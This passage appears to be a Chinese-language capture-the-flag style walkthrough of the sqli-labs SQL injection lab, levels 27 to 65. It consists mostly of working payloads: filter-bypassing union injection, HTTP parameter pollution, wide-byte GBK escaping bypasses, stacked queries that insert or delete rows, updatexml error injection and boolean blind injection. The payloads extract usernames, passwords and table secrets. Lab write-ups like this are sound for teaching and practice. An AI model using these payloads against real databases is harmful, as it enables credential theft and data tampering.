0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema='security
上面两个都可以
然后就是正常的注入了
0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'and'1
最后爆破库
?id=0'%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(id,username,password),3%0Afrom%0Asecurity.users%0Awhere%0Aid=1%0Aand'1
简化是
group_concat(id,username,password)from security.users where id=1 and '1
如果不加 id 后面 and报错 因为只能在where后面
Less-27a
1'%0Aand%0A'1'='2
2'%0Aand%0A'1'='2
两个假语句都正常返回 说明是字符型 只读取第一个字符
我们看看双引号
2"%0Aand"1"="2
2"%0Aand"1"="1
确定了是
但是这道题目没有报错信息
无法使用报错注入
联合注入即可
?id= 0"%0AuniUNIONon%0ASELSELECTECT%0A1,database(),3%0Aand"1
表名
?id= 0"%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Aand"1
字段
?id=0"%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=database()%0Aand%0Atable_name='users'%0Aand"1
值
?id=0"%0AuniUNIONon%0ASELSELECTECT%0A1,group_concat(id,username,password),3%0Afrom%0Ausers%0Awhere%0Aid=1%0Aand"1
Less-28 过滤union空格select组合
这道题不过滤 union select
只过滤这个组合 union空格select
我们尝试绕过
uniunion%0aselecton%0aselect
这个就绕过了这个组合的过
我们来具体回顾一下闭合方式
输入
1' 报错
1" 没有报错
猜测是' 类型
但是存在两个情况
SELECT * FROM users WHERE id='1'and '0' LIMIT 0,1
SELECT * FROM users WHERE id=('1'and '0') LIMIT 0,1
两个情况都可以顺利闭合
所以我们首先判断第二个 因为如果没有括号 第一个会报错
输入1') and ('1'='1
变化就是 1')%0aand%0a('1'='1
发现没有报错 那说明就是括号的闭合
')类型
我们可以开始注入了
0')%0Aununion%0Aselection%0Aselect%0A1,database(),3%0Aand%0A('1
表
0')%0Aununion%0Aselection%0Aselect%0A1,group_concat(table_name),3%0Afrom%0Ainformation_schema.tables%0Awhere%0Atable_schema=database()%0Aand%0A('1
字段
0')%0Aununion%0Aselection%0Aselect%0A1,group_concat(column_name),3%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_schema=database()%0Aand%0Atable_name='users'%0Aand%0A('1
值
0')%0Aununion%0Aselection%0Aselect%0A1,group_concat(id,username,password),3%0Afrom%0Ausers%0Awhere%0aid=1%0aand%0A('1
Less-28a
这道题和28一样 并且过滤更少
只过滤了组合 直接注入即可
Less-29 参数污染
http存在参数污染
其中具体点就是 用户可以通过 GET/POST请求上传多个参数
至于要取哪个参数 就是看 服务器的配置
这里我使用的是 php+apache
所以读取的是最后一个的参数
我们首先测试一下基本的注入是否可以实现
他会直接过滤 ' 我们看看源代码
通过正则 匹配一个或者多个数字
如果有除了数字的值 就直接跳转到hacked.php
这里就是关于参数的过滤
通过 &来分割
然后都作为 key=value类型
从0开始匹配两个字符
如果前两个字符是id
那么就读取 3-30个字符
这里主要看出来 只匹配了前两个字符 对前两个字符进行匹配
没有对第二个参数进行过滤
而我们是php+apach 就只匹配最后一个参数
所以我们可以在最后一个参数中进行注入
?id=1&id=1'
这里我们就绕过了waf
我们来看看代码的运行
我们写入两个参数
id=1&id=1'
$qs = $_SERVER['QUERY_STRING'];
首先读取了 qs 就是用户输入的字符串
$hint=$qs;
传入 hint
$id1=java_implimentation($qs);
处理字符串 其中我们传入的是 id=1&id=1'
所以就会返回1 因为读取第一个参数
$id=$_GET['id'];
这里是安全漏洞的地方!!
重新将用户输入的字符串作为GET的参数
//echo $id1;
whitelist($id1);
这里只是比对了处理完的字符串
如果我们修改了代码
把id作为我们处理完的字符串 那就无法造成参数污染
我们回到这个题目
既然绕过了 waf 我们就可以直接在第二个参数进行注入
?id=2&id=0' union select 1,2,3-- +
?id=2&id=0' union select 1,2,database()-- +
?id=2&id=0' union select 1,2,group_concat(table_name)from information_schema.tables where table_schema='security'-- +
?id=2&id=0' union select 1,2,group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='users'-- +
?id=2&id=0' union select 1,2,group_concat(username,password)from users-- +
这里就结束了注入
Less-30
sqli-labs Less-29、30、31(sqli-labs闯关指南 29、30、31)—服务器(两层)架构_景天zy的博客-CSDN博客
在查资料后发现 这道题没有那么简单
其实更具体点
是通过两个服务器
第一个服务器是解析第一个参数
第二个服务器解析第二个参数
这样我们就绕过了第一个服务器(waf)
30这个题目 就是注入方式是双引号
其他就没有特别的了
?id=1&id=0" union select 1,2,3-- +
发现还是 只读取了第一个参数 没问题了就重新读取用户输入的GET 从而导致注入
Less-31
一样还是闭合方式的不同
("id")
?id=1&id=1") and 1=1 -- +
?id=1&id=-1") union select 1,2,3 -- +
Less-32 宽字节注入
我们首先理解什么是宽字节
低字节 就是 一个字节来表示的
宽字节 就是 两个字节来表示的
例如汉字 就是需要两个字节来表示
mysql中的GBK就是宽字节之一 当mysql使用GBK的时候 遇到两个字节 就会认为其是一个汉字
但是GBK的识别是有范围的
第一个字节 0x81 到 0xFE
第二个字节 0x40 到 0xFE
介绍完宽字节 我们回到这个题目进行看看注入的原理
首先看看源代码
function check_addslashes($string)
{
$string = preg_replace('/'. preg_quote('\\') .'/', "\\\\\\", $string); //escape any backslash
遇到 \ 转义为 \\
$string = preg_replace('/\'/i', '\\\'', $string); //escape single quote with a backslash
遇到 ' 转义为 \'
$string = preg_replace('/\"/', "\\\"", $string); //escape double quote with a backslash
遇到 " 转义为 \"
return $string;
}
这里是转义的地方
mysql_query("SET NAMES gbk");
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
其次就是指定了 GBK格式进行存入 这里就会出现宽字节注入
我们看看输入一个中文的单引号
通过这个判断 可能不是直接过滤符号 而是进行转义
\'的hex为
%5c%27
在这发现遇到'就会加上\
%5c在范围0x40-0xFE中 符合第二个字节
那我们只要输入一个符合第一个字节的 就可以让GBK编码认为 这个是一个汉字 然后就吞掉\转义符
-1%8F%27%20union%20select%201,2,3--%20+
首先是字符型 所以只会读取第一个数字来查询
所以后面的汉字对查询没有影响
-1%8F%27%20union%20select%201,2,database()--%20+
爆破表
-1%8F%27%20union%20select%201,group_concat(table_name),2%20from%20information_schema.tables%20where%20table_schema=0x7365637572697479--%20+
这里是将数据库名 通过 ascii转码 变为16进制
因为我们要输入字符串 就会需要''来包裹 所以我们直接输入16进制即可
字段
-1%8F%27%20union%20select%201,group_concat(column_name),2%20from%20information_schema.columns%20where%20table_schema=0x7365637572697479%20and%20table_name=0x7573657273--%20+
值
-1%8F%27%20union%20select%201,group_concat(id,username,password),2%20from%20users--%20+
Less-33
一样的' 闭合宽字节注入
Less-34 POST类型的宽字节注入
变回了POST类型
需要先登入进去再注入
所以我们看看万能密码
这个题目最好通过bp来进行注入 防止二次编码
uname=-1%df%27+ or 1--+%2B&passwd=1&submit=Submit
登入成功
uname=-1%df%27+ union select 1,2--+%2B&passwd=1&submit=Submit
那就可以
直接开始注入了
uname=-1%df%27+ union select 1,database()--+%2B&passwd=1&submit=Submit
uname=-1%df%27+ union select 1,group_concat(table_name)from information_Schema.tables where table_schema=database()--+%2B&passwd=1&submit=Submit
uname=-1%df%27+ union select 1,group_concat(column_name)from information_Schema.columns where table_schema=database()and table_name=0x7573657273--+%2B&passwd=1&submit=Submit
uname=-1%df%27+ union select 1,group_concat(id,username,password)from users--+%2B&passwd=1&submit=Submit
这样就注入成功
Less-35 整型宽字节注入
啥也没有 就是整型注入
在查询 users的时候通过宽字节来注入即可
Less-36
和之前一样可以使用宽字节注入
这题和之前不一样的地方只是过滤函数的不同
前几关使用的是addslashes
都是对特殊符号加转义 但是其中还是存在不同的
Less-37
POST类型
1%df' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()-- +
一样使用宽字节即可
Less-38 堆叠注入
我们首先了解堆叠注入的条件
只有当文件中存在这种 可以向数据库一下提交多次查询的函数
才可以使用堆叠注入
因为mysq_query只会上传一个查询语句
其次什么是堆叠注入呢
在mysql中 一个 ; 就是一个语句的结束
所以我们可以在一行中通过; 来写入多个语句
SELECT * FROM `users` WHERE id=1;select * from users;
发现返回了两个查询的语句
这里就是堆叠注入的地方
这里和union注入一样 都要让第一个查询失败
这样就会返回第二个查询的内容了
这道题不限制于查询 主要堆叠注入可以对数据库进行增删改查的操作
1'; insert users(id,username,password) values ("100","li","x")-- +
访问id=100
同时我们可以删除
1'; DELETE FROM users WHERE id = 100 -- +
这里我们就可以对数据库的内容进行操作
Less-39
一样的 堆叠注入 但是闭合是整数类型的
Less-40
依然是堆叠 闭合条件为 1')
Less-41
整型
可以使用堆叠注入
/?id=1;insert into users(id,username,password) values ('100','li','x')-- +
Less-42 密码处实现堆叠注入
让我们登入后再继续
通过fuzz 发现无法实现注入
我们猜测是不是在username 或者 password中存在堆叠注入
经过测试在密码处存在注入
login_user=admin&login_password=aa';insert into users(id,username,password) values('100','123','123');-- +&mysubmit=Login
成功登入
看看源代码
同时发现了为什么无法在用户名处 进行注入
这里就发现了
只有用户名处存在注入点
Less-43
admin
1'
发现还是在密码处
发现是1')闭合
1');create table hack like users;-- +
注入成功
Less-44
没有报错信息
所以就是猜测
但是是和42一样的
admin
a';insert into users(id,username,password) values ('44','less44','hello')#
Less-45
和43一样
但是也不存在回显
Less-46 order by 的报错注入
首先 传入的参数不一样了
我们看看回显
?sort=1
?sort=2
?sort=3
发现排列方式不一样
并且如果输入4
所以我们猜测是order by 类型
这里因为 order by 无法联合查询
所以选择报错注入
?sort=4 and updatexml(1,0x7e,3)
?sort=4 and updatexml(1,concat(0x7e,(select database())),3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where and table_schema=database())),3)
?sort=4 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database())),3)
?sort=4 and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1)),3)
Less-47
一样的 闭合方式不一样罢了
1' and updatexml(1,concat(0x7e,database()),3)-- +
这里注意 因为是字符类型 所以无论输入多少 都是 出现id=1的情况
Less-48
纯盲注
直接sqlmap跑得了
Less-49
使用延时注入
Less-50 整数型的堆叠注入
Less-51 order by 的单引号
测试出来发现是单引号闭合
因为是order by 命令
所以我们使用报错注入
?sort=1' and updatexml(1,concat(0x7e,database()),3)-- +
?sort=1' and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
/?sort=4' and updatexml(1,concat(0x7e,(select concat(id,username,password)from users limit 0,1)),3)-- +
还可以使用堆叠注入
Less-52
不存在回显 所以不能使用报错注入
可以使用时间注入和堆叠注入
Less-53
?sort=1' -- +
判断是字符型
一样没有回显
使用堆叠和延时注入
Less-54 挑战 联合注入
感觉这个和真实注入差不多
首先判断闭合
通过
/?id=1' and 1=2-- +
/?id=1' and 1=1-- +
来判断我们给予的条件是否实现
发现就是单引号闭合
我们可以通过联合注入来看看
我们为了省时间 可以直接通过select 来猜测字段
?id=0' union select 1,2,3-- +
开始注入
数据库
/?id=0' union select 1,database(),3-- +
challenges
表名
/?id=0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +
35jmel2wn1 随机的
字段
/?id=0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='35jmel2wn1'-- +
id,sessid,secret_A6J8,tryy
值
/?id=0' union select 1,group_concat(secret_A6J8),3 from 35jmel2wn1-- +
这道题就结束了
我们看看源代码
Less-55
和54 就是闭合方式不同
可以通过
?id=1) and 1=1 -- +
?id=1) and 1=2 -- +
来判断
然后就是正常的联合注入
?id=-1) union select 1,database(),3-- +
/?id=0) union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +
/?id=0) union select 1,group_concat(column_name),3 from information_schema.columns where table_name='0rji2d40w2'-- +
id,sessid,secret_OVSS,tryy
/?id=0) union select 1,group_concat(secret_OVSS),3 from 35jmel2wn1-- +
Less-56
也只是闭合上的区别
?id=1') and 1=1-- +
?id=1') and 1=2-- +
/?id=0') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +
/?id=0') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='yf95voxbok'-- +
id,sessid,secret_S6RT,tryy
/?id=0') union select 1,group_concat(secret_S6RT),3 from yf95voxbok-- +
Less-57
一样只是修改了闭合方式
?id=1" and 1=1-- +
?id=1" and 1=2-- +
/?id=0" union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- +
/?id=0" union select 1,group_concat(column_name),3 from information_schema.columns where table_name='yf95voxbok'-- +
id,sessid,secret_S6RT,tryy
/?id=0" union select 1,group_concat(secret_S6RT),3 from yf95voxbok-- +
Less-58 报错
这道题出现了报错信息
我们就可以顺着使用报错注入
因为 联合注入是行不通的
?id=1' and 1=1-- +
?id=1' and 1=2-- +
然后就可以报错注入了
?id=1'and updatexml(1,0x7e,3)-- +
?id=1'and updatexml(1,concat(0x7e,database()),3)-- +
?id=1'and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
tmggp2ky9p
?id=1'and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
tmggp2ky9p' and table_schema=database())),3)-- +
id,sessid,secret_KYSC,tryy
?id=1'and updatexml(1,concat(0x7e,(select group_concat(secret_KYSC) from tmggp2ky9p)),3)-- +
我们看看源代码为什么过滤了 union
发现没有过滤 就是单纯没有通过 数据库查询
是自己设定了数组 然后还有倒序作为密码
Less-59
闭合方式的不同
这个是整数型
?id=1 and 1=1-- +
?id=1 and 1=2-- +
?id=1 and updatexml(1,0x7e,3)-- +
?id=1 and updatexml(1,concat(0x7e,database()),3)-- +
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
h9ewaort0y' and table_schema=database())),3)-- +
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_N4QY) from h9ewaort0y)),3)-- +
Less-60
闭合方式
通过报错可以发现
为 ")
?id=1")and updatexml(1,0x7e,3)-- +
?id=1") and updatexml(1,concat(0x7e,database()),3)-- +
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
6nz8my2yxq' and table_schema=database())),3)-- +
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_XSNF) from 6nz8my2yxq)),3)-- +
Less-61
?id=1'))and updatexml(1,0x7e,3)-- +
?id=1')) and updatexml(1,concat(0x7e,database()),3)-- +
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name='
r2gmu06c2g' and table_schema=database())),3)-- +
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_WHAM) from r2gmu06c2g)),3)-- +
Less-62
布尔注入 没有回显 没有报错
1' 没有回显
1" 有回显
1') 没有回显
1')-- + 有回显
确定了闭合为 ')
然后就是布尔注入
数据库
?id=1') and length((select database()))=10 -- +
?id=1') and ascii(substr((select database()),1,1))=99 -- +
表
?id=1') and length((select group_concat(table_name)from information_schema.tables where table_schema=database()))=10 -- +
?id=1') and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema=database()),1,1))=114 -- +
字段
?id=1') and length((select group_concat(column_name)from information_schema.columns where table_name='rxwyb1c5dx' and table_schema=database()))=26 -- +
?id=1') and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='rxwyb1c5dx' and table_schema=database()),1,1))=105 -- +
值
?id=1') and length((select group_concat(secret_Z22L)from rxwyb1c5dx))=24 -- +
?id=1') and ascii(substr((select group_concat(secret_Z22L)from rxwyb1c5dx),1,1))=53 -- +
Less-63
闭合方式为
?id=1")-- +
一样布尔注入
Less-64
?id=1))-- +
Less-65
?id=1)-- +
这里sqlilab就结束了